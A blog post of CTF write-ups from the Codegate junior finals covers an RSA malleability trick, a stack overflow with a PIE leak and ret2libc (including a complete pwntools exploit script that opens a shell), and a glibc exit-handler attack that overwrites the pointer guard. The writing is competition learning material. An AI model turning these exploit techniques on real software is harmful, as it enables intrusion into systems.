Award Ceremony

Overview

Last week, I traveled to Seoul, Korea to compete in this year’s codegate junior finals, and I finished at 8th out of 20 finalists.

Final Leaderboard

I managed to solve 2 pwns and 1 crypto chall, and this blog post will contain the writeups for all three of them. All attachments can be found here.

Backstory

you can skip this part and go straight to the writeups if you’d like to

The top 20 players from the codegate junior qualifiers were invited to the finals. I performed very badly in the qualifiers, and if I remember correctly I actually was 27th right before the ctf ended. I was pretty dissapointed in myself after the ctf cause I specifically told myself to dive into kernel pwn and windows rev before the qualifiers, but I kept being lazy and in the end I didn’t really try them out. And guess what, there was an easy kernel pwn chall and easy windows reversing chall in the qualifiers, which would guarantee me a spot in the finals had I solved any one of them, and I ended up solving none of them simply because I had no experience in any of them.

By the end of the ctf, I finished at 25th (not because I gained any more points, but because of the whole Hall of Shame thing), and the top 25 players were supposed to send them a writeup. I was pretty devastated at this point but I figured I just quickly write the writeup and send it to them for maybe a slight chance of me being able to go to the finals. I wanted to keep the hope alive.

And to my suprise, I got an email from codegate at the end of June asking if I wanted to go to the finals. I was ecstatic and couldn’t believe that I actually got this opportunity. I told myself that this was a chance to redeem myself, and to not make the same mistakes I made before. I aimed for top 3, and practiced and learned as much as I could before the finals.

In the end, I got 8th, which is not bad and definitely an improvement, but still I kinda feel like I could’ve done a bit better. I was actually 3rd at the last few hours of the ctf, but I guess I didn’t push myself hard enough near the end and was a bit too complacent cause I didn’t solve anything else afterwards. Had I started working on the misc chall I was working on a bit earlier, maybe I could’ve solved it and gotten like top 4. Nevertheless, this was still an incredible experience, and Im very grateful for having this opportunity.

Enough waffling, time to actually get to the writeups.

ezRSA (crypto)

ezRsa.py
#!/usr/bin/python3

import os
import gmpy2
import random
import sys

import pathlib
from Crypto.PublicKey import RSA



def welcome():
    text = '''

           ,,                              ,,
 .M"""bgd  db                            `7MM              `7MM"""Mq.   .M"""bgd      db
,MI    "Y                                  MM                MM   `MM. ,MI    "Y     ;MM:
`MMb.    `7MM  `7MMpMMMb.pMMMb. `7MMpdMAo. MM  .gP"Ya        MM   ,M9  `MMb.        ,V^MM.
  `YMMNq.  MM    MM    MM    MM   MM   `Wb MM ,M'   Yb       MMmmdM9     `YMMNq.   ,M  `MM
.     `MM  MM    MM    MM    MM   MM    M8 MM 8M""""""       MM  YM.   .     `MM   AbmmmqMA
Mb     dM  MM    MM    MM    MM   MM   ,AP MM YM.    ,       MM   `Mb. Mb     dM  A'     VML
P"Ybmmd" .JMML..JMML  JMML  JMML. MMbmmd'.JMML.`Mbmmd'     .JMML. .JMM.P"Ybmmd" .AMA.   .AMMA.
                                  MM
                                .JMML.
'''
    print(text)
    rsa_key = RSA.generate(1024)
    return rsa_key

def get_int_length(num:int):
    import math
    return int(math.ceil(num.bit_length() / 8))

def RSAencrypt(plaintext:bytes, e:int, N:int):
    int_plaintext = int.from_bytes(plaintext, 'big')
    ciphertext = pow(int_plaintext, e, N)
    return ciphertext.to_bytes(get_int_length(ciphertext),'big').hex()

def RSAdecrypt(ciphertext:bytes, d:int, N:int):
    int_ciphertext = int.from_bytes(ciphertext, 'big')
    message = pow(int_ciphertext, d, N)
    return message.to_bytes(get_int_length(message), 'big')

def action_seeflag(key):
    flagfile = pathlib.Path("/home/ctf/flag")
    with open (flagfile, 'r') as f:
        flag = f.read()
    data = flag.encode().hex().encode()
    result = RSAencrypt(data, key.e, key.n)
    print(f"FLAG is {result}")
    return

def action_encrypt(key:RSA.RsaKey):
    user_inp = input("write plain text(hex string format): ")
    userInput_hex = bytes.fromhex(user_inp)
    result = RSAencrypt(userInput_hex, key.e, key.n)
    print(f"[*] Done! Here is!\n {result}")
    return

def action_decrypt(key):

    ciphertext = input("write ciphertext with hex string format: ")
    flagfile = pathlib.Path("/home/ctf/flag")
    with open (flagfile, 'r') as f:
        cmp_flag = f.read()
    data = cmp_flag.encode().hex().encode()
    userInput_hex = bytes.fromhex(ciphertext)
    decrypted_data = RSAdecrypt(userInput_hex, key.d, key.n)
    if(RSAencrypt(data, key.e, key.n) == ciphertext):
        print("Don't decrypt encrpted flag...")
        return

    print(f"[*] decrypt result => {decrypted_data.hex()}")


def main(rsakey):
    action = int(input("1. encrypt\n2. decrypt\n3. see top secret\n4. exit\n> "))
    if action == 1:
        action_encrypt(rsakey)
    elif action == 2:
        action_decrypt(rsakey)
    elif action == 3:
        action_seeflag(rsakey)
    elif action == 4:
        print("byebye!")
        sys.exit()
    else:
        print("Invalid input!!")


if __name__ == '__main__':
    initkey = welcome()
    for _ in range(100000):
        print("\nYou can encrypt / decrypt with my SIMPLE RSA!")
        try: main(initkey)
        except Exception as e:
            print(e)

You can see the encrypted flag, and can encrypt and decrypt any message except for the encrypted flag. A quick google search showed me this writeup.

Since RSA is malleable, we could produce a ciphertext in a way such that the decrypted plaintext is related to the flag.

From the writeup:

ct_flag     = encrypt(flag)  = flag^e     mod n
ct_two      = encrypt(2)     = 2^e        mod n
ct_not_flag = ct_flag*ct_two = (flag*2)^e mod n

decrypted(ct_not_flag) = flag*2

calc (pwn)

checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

note():

void note(void)
{
  ssize_t sVar1;
  char buf [44];
  int local_c;

  memset(buf,0,0x20);
  printf("Note> ");
  sVar1 = read(0,buf,0x100);
  local_c = (int)sVar1;
  if (buf[local_c + -1] == '\n') {
    buf[local_c + -1] = '\0';
  }
  memcpy(notepad,buf,(long)local_c);
  printf("Notepad: %s\n",notepad);
  return;
}

There is an obvious buffer overflow here. With stack canaries off, we just need a leak of either PIE or libc to just ROP and get shell.

calc()
void calc(void)
{
  size_t sVar1;
  undefined8 uVar2;

  memset(expression,0,0x100);
  printf("Formula> ");
  fgets(expression,0x100,stdin);
  sVar1 = strlen(expression);
  if (notepad[sVar1 + 0xff] == '\n') {
    sVar1 = strlen(expression);
    notepad[sVar1 + 0xff] = 0;
  }
  uVar2 = evaluateExpression();
  printf("Result> %ld\n",uVar2);
  return;
}

long evaluateExpression(void)
{
  // ghidra showed more vars here but I deleted them to make it cleaner here
  long local_988 [256];
  char local_188 [264];

  memset(local_188,0,0x100);
  memset(local_988,0,0x800);
  operatorTop = -1;
  operandTop = -1;
  i = 0;
  do {
    uVar6 = SEXT48(i);
    sVar4 = strlen(expression);
    if (sVar4 <= uVar6) {
      while (-1 < operatorTop) {
        lVar5 = (long)operatorTop;
        local_21 = local_188[lVar5];
        iVar1 = operandTop + -1;
        local_30 = local_988[operandTop];
        operandTop = operandTop + -2;
        local_38 = local_988[iVar1];
        operatorTop = operatorTop + -1;
        local_40 = calculate(local_38,local_30,(int)local_188[lVar5],local_30);
        operandTop = operandTop + 1;
        local_988[operandTop] = local_40;
      }
      return local_988[operandTop];
    }
    local_41 = expression[i];
    ppuVar3 = __ctype_b_loc();
    if (((*ppuVar3)[local_41] & 0x800) == 0) {
      if (local_41 == '(') {
        operatorTop = operatorTop + 1;
        local_188[operatorTop] = '(';
      }
      else {
        if (local_41 == ')') {
          while ((-1 < operatorTop && (local_188[operatorTop] != '('))) {
            lVar5 = (long)operatorTop;
            local_61 = local_188[lVar5];
            iVar1 = operandTop + -1;
            local_70 = local_988[operandTop];
            operandTop = operandTop + -2;
            local_78 = local_988[iVar1];
            operatorTop = operatorTop + -1;
            local_80 = calculate(local_78,local_70,(int)local_188[lVar5],local_70);
            operandTop = operandTop + 1;
            local_988[operandTop] = local_80;
          }
          if ((-1 < operatorTop) && (local_188[operatorTop] == '(')) {
            operatorTop = operatorTop + -1;
          }
        }
        else {
          if ((((local_41 == '+') || (local_41 == '-')) || (local_41 == '*')) ||
             ((local_41 == '/' || (local_41 == '^')))) {
            while (-1 < operatorTop) {
              iVar1 = getPriority((int)local_188[operatorTop]);
              iVar2 = getPriority((int)local_41);
              if (iVar1 < iVar2) break;
              lVar5 = (long)operatorTop;
              local_42 = local_188[lVar5];
              iVar1 = operandTop + -1;
              local_50 = local_988[operandTop];
              operandTop = operandTop + -2;
              local_58 = local_988[iVar1];
              operatorTop = operatorTop + -1;
              local_60 = calculate(local_58,local_50,(int)local_188[lVar5],local_50);
              operandTop = operandTop + 1;
              local_988[operandTop] = local_60;
            }
            operatorTop = operatorTop + 1;
            local_188[operatorTop] = local_41;
          }
        }
      }
    }
    else {
      local_20 = 0;
      while ((uVar6 = SEXT48(i), sVar4 = strlen(expression), uVar6 < sVar4 &&
             (ppuVar3 = __ctype_b_loc(), ((*ppuVar3)[(char)expression[i]] & 0x800) != 0))) {
        local_20 = (long)((char)expression[i] + -0x30) + local_20 * 10;
        i = i + 1;
      }
      operandTop = operandTop + 1;
      local_988[operandTop] = local_20;
      i = i + -1;
    }
    i = i + 1;
  } while( true );
}

I actually didn’t fully reverse the evaluateExpression function as it was dense. I saw that it called __ctype_b_loc(), and assumed that it checked if the char in the expression was a digit or a symbol. I went to test this out by typing A-1 in the calculator, and a large number was outputted. I turned the number to hex and it was a PIE leak.

Glad I didn’t have to reverse the evaluateExpression function :))

I then tried to find a pop rdi; ret gadget in the binary to pop a GOT address into rdi and then just ret to puts@plt to leak libc, but no such gadget was found. I then breakpointed at the ret instruction inside note() to see what the registers are like when we control ret, and

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x37
$rbx   : 0x0
$rcx   : 0x00007ffff7ea7a37  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe2d8  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007fffffffc180  →  "Notepad: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x00007fffffffc060  →  0x00007ffff7df50d0  →  <funlockfile+0> endbr64
$rip   : 0x0000555555555ac9  →  <note+174> ret
$r8    : 0x37
$r9    : 0x7fffffff
$r10   : 0x0
$r11   : 0x246
$r12   : 0x00007fffffffe408  →  0x00007fffffffe66e  →  "/home/vagrant/ctf/finals_codegate23/calculator/cal[...]"
$r13   : 0x0000555555555b58  →  <main+0> endbr64
$r14   : 0x0000555555557d78  →  0x0000555555555220  →  <__do_global_dtors_aux+0> endbr64
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →   jg 0x555555554047
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

rdi is already pointing to a libc address.

So I just ret to puts@plt to leak libc, and then ret back to _start (entry point) to restart the program, and then just ret2libc.

exploit.py
from pwn import *
#io = process("./calc")
io = remote("13.125.200.127",8888)
libc = ELF("./libc.so.6")

io.sendlineafter("command>","calc")
io.sendlineafter("Formula>","A")

io.recvuntil("Result> ")
pieBase = int(io.recvline()[:-1]) - 5951

log.info("PIE BASE: " + hex(pieBase))


putsPlt = p64(pieBase + 0x10e0)
entry = p64(pieBase + 0x1180)

rop = b"A" * 56 + putsPlt + entry
io.sendlineafter("command>","note")
io.sendlineafter("Note>",rop)

io.recvline()
libc.address = u64(io.recv(6).ljust(8,b"\x00")) - libc.symbols["funlockfile"]

log.info("LIBC BASE: " + hex(libc.address))

popRdi = p64(libc.address + 0x2a3e5)
ret = p64(pieBase + 0x1be9)

rop2 = b"A"*56 + ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])
io.sendlineafter("command>","note")
io.sendlineafter("Note>",rop2)
io.interactive()

I actually managed to get first blood for this chall, and for the whole pwn category, which is my first ever first blood 🩸!

first ever first blood 🩸

goblin_vm (pwn)

checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

src.c
undefined8 main(void){
  bool bVar1;
  undefined isLargeRoom;
  char *untilSpaceStr;
  long in_FS_OFFSET;
  undefined4 local_828;
  int instr;
  undefined4 *mallocChunk;
  char code [2056];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  isLargeRoom = askRoom();
  room = giveRoom(isLargeRoom);
  bVar1 = false;
  local_828 = 1;
  mallocChunk = (undefined4 *)malloc(4);
  *mallocChunk = 1;
  do {
    memset(code,0,0x800);
    getInput(code);
    untilSpaceStr = strtok(code," ");
    instr = atoi(untilSpaceStr);
    switch(instr) {
    case 1:
      instr1();
      break;
    case 2:
      instr2();
      break;
    case 3:
      instr3();
      break;
    case 4:
      instr4();
      break;
    case 5:
      instr5();
      break;
    case 6:
      instr6();
      break;
    case 7:
      instr7();
      break;
    case 8:
      instr8();
      break;
    case 9:
      instr9();
      break;
    case 10:
      instr10(mallocChunk,&local_828,&local_828);
      break;
    case 0xb:
      bVar1 = true;
    }
  } while (!bVar1);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

undefined8 askRoom(void){
  ssize_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Hi, Do you want a large room? [y/N]");
  sVar1 = read(0,local_118,10);
  if (sVar1 == -1) {
    exit(-1);
  }
  if ((local_118[0] == 'y') || (local_118[0] == 'Y')) {
    uVar2 = 1;
  }
  else {
    uVar2 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return uVar2;
}

long giveRoom(char param_1){
  void *pvVar1;
  size_t local_18;

  if (param_1 == '\0') {
    local_18 = 0x100000;
  }
  else {
    local_18 = 0x400000;
  }
  pvVar1 = calloc(local_18,1);
  return (long)pvVar1 + (local_18 >> 1);
}

The binary is an implementation of the classic stack machine.

It first asks if you would want a large room (room here is refering to the vm’s stack/memory), and will calloc(0x400000) if you answer ‘Y’, and calloc(0x100000) if you answer anything else. Since the malloc request sizes are so large, the chunk is actually not allocated at the heap, but instead fulfilled using mmap(), having the memory map being allocated right above libc. This means that the room/vm’s stack is right above libc.

It then asks for instructions in a while loop, expecting input in the form of: opcode arg.
So for example: 1 9

Let’s look at what the instructions actually do:

void instr1(void){
  // push reg onto stack
  room = (room - 8);
  *room = reg;
  return;
}

void instr2(void){
  // pop value on top of stack into reg 
  reg = *room; // qword
  room = room + 1; // ptr addition, so actually + 8
  return;
}

void instr3(void){
  // reg++
  reg = reg + 1; // actually add 1
  return;
}

void instr4(void){
  // reg--
  reg = reg - 1;
  return;
}

void instr5(void){
  // 5 123
  // reg += 123
  __nptr = strtok(0x0," ");
  lVar1 = atoll(__nptr);

  reg = reg + lVar1;
  return;
}

void instr6(void){
  // 6 123
  // reg -= 123

  __nptr = strtok((char *)0x0," ");
  lVar1 = atoll(__nptr);
  reg = reg - lVar1;
  return;
}

void instr7(void){
  // 7 123
  // reg = 123
  char *__nptr;

  __nptr = strtok((char *)0x0," ");
  reg = atoll(__nptr);
  return;
}

void instr8(void){
  // 8 123
  // room += 123
  __nptr = strtok((char *)0x0," ");
  lVar1 = atoll(__nptr);

  room = lVar1 + room;
  return;
}


void instr9(void){
  // 9 123
  // room -= 123
  __nptr = strtok((char *)0x0," ");
  lVar1 = atoll(__nptr);

  room = room - lVar1;
  return;
}


void instr10(int *param_1,int *param_2){
  // a leak
  // a global variable, a stack variable, and a heap variable is set to 1
  if (((DAT_00104010 == 1) && (*param_1 == 1)) && (*param_2 == 1)) {
    printf("rax: %ld\n",reg);
    DAT_00104010 = 0;
    *param_1 = 0;
    *param_2 = 0;
  }
  return;
}

So room is essentially $rsp, and reg is essentially $rax.
There are simple push and pop instructions, and instructions to manipulate both the registers. There’s also an instruction to print out the value of reg, but it can only be called once. There’s 3 booleans, 1 in the .data segment, 1 in the stack, and 1 in the heap, that all become true when the print instruction is called.

The obvious vulnerability here is that there are completely no bounds check on where you can move room. And since room is right above libc, you can easily move room into libc and leak an address, and overwrite libc structures stored in libc memory. You wouldn’t need any leaks to do that since room is relative to libc_base, and other libc addresses, meaning that everytime the binary is ran, the offset between room and let’s say main_arena is the same. (Assuming you choose the same room size,big/small, everytime.)

Exploitation ideas

You could of course try to overwrite the ret pointer of main and just try to ret2libc, but for that to work you have to move room->stack, and in order to do that you have to know

  1. where room is
  2. where the stack is

However, you only have one leak.
Technically, you could try to overwrite the global boolean, the stack boolean, and maybe overwrite the heap chunk pointer on the stack so that it points to other memory in order to execute instruction 10 more. But the problem is for that to work you have to leak libc,pie,and stack, which is ultimately what we can’t do, and is trying to do.

So you essentially can’t move to other sections of memory (like stack, heap, .data etc) since you would need 2 leaks to do that, and can only move around libc memory.

At first I tried the naive idea of overwriting the vtable pointer of the stdout FILE structure in libc (_IO_2_1_stdout_), by leaking a libc address, calculating the address of system, and making my own vtable at the default location of room (where room was initially at in the beginning). But this exploit didn’t work, and instead printed out

Fatal error: glibc detected an invalid stdio handle

as there was a mitigation applied after glibc 2.24, that checks the address of vtable before any virtual functions are called.

I tried googling around and looking for ways to bypass this, and found some writeups, one of which being this. But all the writeups seemed quite old, I quickly scrolled through them and I didn’t really have much faith on them working on glibc 2.35.

So I went back to square one and kept thinking of other exploitation ideas.

Abusing exit handlers

I actually first thought about abusing exit handlers after I finished analysing the binary since I explored the technique quite recently. But I thought that that idea wasn’t possible since exit() wasn’t called, and I quickly dismissed the idea.

After failing to do the vtable overwrite however, I revisited this idea, and wondered whether exit was still called by libc after main returned, and guess what, exit was indeed called.

If you’re not familliar with this technique, I recommend reading this article

Essentially exit() is just a wrapper function for:
__run_exit_handlers (status, &__exit_funcs, true, true);

And in libc memory, there is a variable called __exit_funcs, which is an exit_function_list structure. __exit_funcs points to the head of a linked list, that contains multiple exit_function objects. (One linked list element has multiple exit_function objects, when more exit_function objects are required, another linked list element will be created).

When __run_exit_handlers(…) is called, all the function pointers in the exit_function objects will be called. There are multiple flavors/types of exit_function objects that are all treated slightly differently by __run_exit_handlers(…), (I recommend reading the article to learn more), but the flavor we’re gonna look into is the cxa flavor.

This is because by default, there will be already an exit_function object registered in the list, which contains the function pointer of _dl_fini(), and that exit_function object is of the flavor cxa.

In the libc source code, the definition of the cxa exit_function struct is

struct exit_function
  {
    long int flavor;
    ... // I redacted a lot of parts for simplicity, read the article for clearer full view
 struct
   {
     void (*fn) (void *arg, int status);
     void *arg;
     void *dso_handle;
   } cxa;
    ...
  };

In memory, everything looks something like:

0x7ffff7fac838 <__exit_funcs>: 0x00007ffff7fadf00
...
0x00007ffff7fadf00   │+0x0000: 0x0000000000000000
0x00007ffff7fadf08   │+0x0008: 0x0000000000000001
0x00007ffff7fadf10   │+0x0010: 0x0000000000000004  -
0x00007ffff7fadf18   │+0x0018: 0x93b315d57adee436   |--- one exit_function object
0x00007ffff7fadf20   │+0x0020: 0x0000000000000000   |
0x00007ffff7fadf28   │+0x0028: 0x0000000000000000  -
0x00007ffff7fadf30   │+0x0030: 0x0000000000000000

As you can see, the _dl_fini function pointer is mangled, this is a mitigation by libc to prevent exit handlers being so easily abused.

The mangling is essentially done with:

// let rdx = function
xor     rdx,QWORD PTR fs:0x30
rol     rdx,0x11

What’s inside fs:0x30 is called the pointer_guard, which is just 16 random bytes.
When I was reading the article, I questioned what was the fs register used for, and what it was pointing at. A quick google search showed me this, which said that the fs register is used to point at the TLS (Thread Local Storage), which I assume is to store thread information.

Back to the challange

What I could do is just overwrite the _dl_fini exit_function object, with the mangled address of system, and an address to /bin/sh underneath it. But the question is, how can I mangle the address of system?

How the article defeated pointer mangling was by leaking the mangled _dl_fini address, and doing

    ptr_guard = ror(ptr_encoded, 0x11, 64) ^ _dl_fini

    # this works because
    # _dl_fini = ror(mangled_ptr) ^ ptr_guard
    # ptr_guard = _dl_fini ^ ror(mangled_ptr)

However for this to work, you would need two leaks, one to leak libc, one to leak the mangled_ptr. Thankfully when I was reading through @nobodyisnobody’s writeup collection, I came across this writeup, which defeated the pointer_guard by overwriting it in the TLS.

shoutout to @nobodyisnobody btw, I’ve learned quite a bit of stuff from his writeups

However when I first read this writeup before the ctf, I tried to explore this idea by finding where the TLS is in gdb to look at the object, but everytime I tried to view the fs register

gef➤  print $fs
$1 = 0x0

I revisited this idea during the ctf, and thankfully I came across this writeup, which printed out the fs register in gdb using

gef➤  print $fs_base
$1 = 0x7ffff7d90740

The TLS is in libc memory! So now I can calculate the constant offset from libc base to TLS, and overwrite the pointer_guard to 0. Then I overwrote the mangled _dl_fini address into rol(system,0x11,64), and then wrote the default address of room right underneath it, and put the “/bin/sh” string at the default location of room.

Exploit worked, and shell popped. Gg.

Minor inconveniences

atoll() is used in the vm’s instructions when loading numbers into the reg, so the maximum number you could load was 0x7fffffffffffffff since a signed long is read. This was a problem when I was writing the rol(system), as the addresses were generally > 0x7fffffffffffffff. I got around this by using two writes to write the rol(system) addres. After the ctf, I talked to @samuzora, and he had the idea to just use negative numbers to do the write, which is a much cleaner approach compared to mine.

My exploit worked locally, but kept failing remotely. I kept getting:

timeout: the monitored command dumped core
/home/ctf/run.sh: line 2:   573 Illegal instruction     timeout 60 /home/ctf/goblin_vm

I contacted the organizers and they said that the chall had no problems.

I investigated it using a docker container, and it seems like my libc leaks were inconsistent. Iirc, I was leaking libc addresses from the region at around libc_base+0x219000. I changed my exploit to leak from the default vtable of libc. So note to self, don’t leak random libc addresses found in libc next time, leak libc function symbols instead.

Another approach

I also talked to @pepsipu after the ctf, and he actually solved this chall by overwriting the stdout FILE structure. What he did was enable full buffering on by overwriting the FILE object flags with Or(default flags,0x1800), which tells the stdout object to dump its buffer before printing. He then pops the IO_write_end pointer to reg, add it with 0x7000, then overwrote the IO_write_end pointer with the new value. This will make the IO object to believe the end of the buffer is much further than it actually is.

When printf is called, the IO object will flush the buffer and print out everything between IO_write_base and IO_write_end, and thus leaking everything you’ll ever need.

He then just does a simple ret2libc to get shell.

Cool technique.

Conclusion

This was my first ever irl ctf event, and I enjoyed it very much. I met tons of cool skilled people, and got a few cool stickers too. I strongly believe that this is the first to many irl ctfs, and I’ll work hard to get stronger and more skillful to make this true.

Thanks to the organizers for holding such a great event, and I hope I can go to more onsite finals soon and meet more cool people soon.

swag

epicHaxorl337swag!1!